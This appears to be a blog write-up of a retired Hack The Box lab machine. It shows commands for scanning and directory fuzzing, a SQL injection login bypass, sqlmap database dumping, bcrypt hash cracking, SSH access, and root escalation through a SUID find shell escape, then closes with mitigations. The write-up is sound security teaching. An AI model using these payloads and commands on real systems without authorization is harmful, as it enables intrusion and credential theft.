HTB Writeup: 'Simple' Machine — SQLi + Privilege Escalation

372 words

2 minutes

HTB Writeup: 'Simple' Machine — SQLi + Privilege Escalation

2025-02-03

CTF Writeups

HTB

/

CTF

/

SQLi

/

Privilege Escalation

/

Linux

Difficulty: Easy OS: Linux Points: 20 Status: Retired

Reconnaissance#

Initial scan#

1
sudo nmap -sS -sV -sC -p- --min-rate 5000 10.10.11.50 -oN simple.txt

1
PORT   STATE SERVICE VERSION
2
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
3
80/tcp open  http    Apache httpd 2.4.52

Only two open ports. Let’s go to the web.

Web Enumeration#

Visiting http://10.10.11.50 we find a simple login panel.

1
# Directory fuzzing
2
ffuf -w /usr/share/wordlists/dirb/common.txt \
3
     -u http://10.10.11.50/FUZZ \
4
     -fc 404
5

6
# Relevant result:
7
# /admin   [Status: 302]
8
# /config  [Status: 403]
9
# /login   [Status: 200]

Identify technology#

1
whatweb http://10.10.11.50
2
# [+] PHP/7.4.3, Apache/2.4.52, Bootstrap/4.5.2

Exploitation — SQL Injection#

The login form is vulnerable to basic SQL injection. We try the classic bypass:

1
User: admin' OR '1'='1
2
Password: anything

We get in directly. But we go further — we extract the whole database with sqlmap:

1
# Capture the request with Burp and save it to login.req
2
sqlmap -r login.req --dbs --batch
3

4
# Databases:
5
# [*] information_schema
6
# [*] simpleblog
7

8
# Extract tables
9
sqlmap -r login.req -D simpleblog --tables --batch
10
# [+] users
11

12
# Extract user data
13
sqlmap -r login.req -D simpleblog -T users --dump --batch

1
+----+------------------+------------------------------------------+
2
| id | username         | password                                 |
3
+----+------------------+------------------------------------------+
4
| 1  | admin            | $2y$10$hashedpassword...                 |
5
| 2  | john             | $2y$10$anotherhashedpw...                |
6
+----+------------------+------------------------------------------+

Crack the hashes#

1
# Save the hash to a file
2
echo '$2y$10$hashedpassword...' > hash.txt
3

4
# Crack with hashcat (bcrypt = mode 3200)
5
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
6

7
# Result: password123

Initial access — SSH#

With the cracked credentials we try SSH:

1
ssh john@10.10.11.50
2
# Password: password123
3

4
john@simple:~$ id
5
uid=1001(john) gid=1001(john) groups=1001(john)
6

7
john@simple:~$ cat user.txt
8
HTB{u53r_fl4g_4qu1}

🎯 User flag obtained.

Privilege Escalation#

Local enumeration#

1
# Look for SUID binaries
2
find / -perm -4000 2>/dev/null

1
/usr/bin/find        ← Interesting
2
/usr/bin/sudo
3
/usr/bin/pkexec
4
/bin/su

The find binary with SUID is a classic escalation. We check on GTFOBins:

1
# Escalation with find SUID
2
/usr/bin/find . -exec /bin/sh -p \; -quit
3

4
# sh-5.1# id
5
uid=1001(john) gid=1001(john) euid=0(root) groups=1001(john)
6

7
# sh-5.1# cat /root/root.txt
8
HTB{r00t_fl4g_pwn3d!}

🎯 Root flag obtained. Machine completed!

Lessons learned#

Never concatenate user input directly into SQL queries — use prepared statements
Misconfigured SUID binaries are critical vectors for privilege escalation
Systematic enumeration is key — don’t skip steps

Mitigations#

1
// BAD — vulnerable to SQLi
2
$query = "SELECT * FROM users WHERE user='$username'";
3

4
// GOOD — prepared statement
5
$stmt = $pdo->prepare("SELECT * FROM users WHERE user=?");
6
$stmt->execute([$username]);

1
# Review and remove unnecessary SUID bits
2
chmod u-s /usr/bin/find

Questions or corrections? Find me on Twitter as @Oguiii 🔐

HTB Writeup: 'Simple' Machine — SQLi + Privilege Escalation

https://oguiii.xyz/en/posts/htb-writeup-simple/

Author

Oguiii

Published at

2025-02-03

License

CC BY-NC-SA 4.0

Web Pentesting Methodology: From 0 to a professional report

Complete Nmap Guide: Network reconnaissance from scratch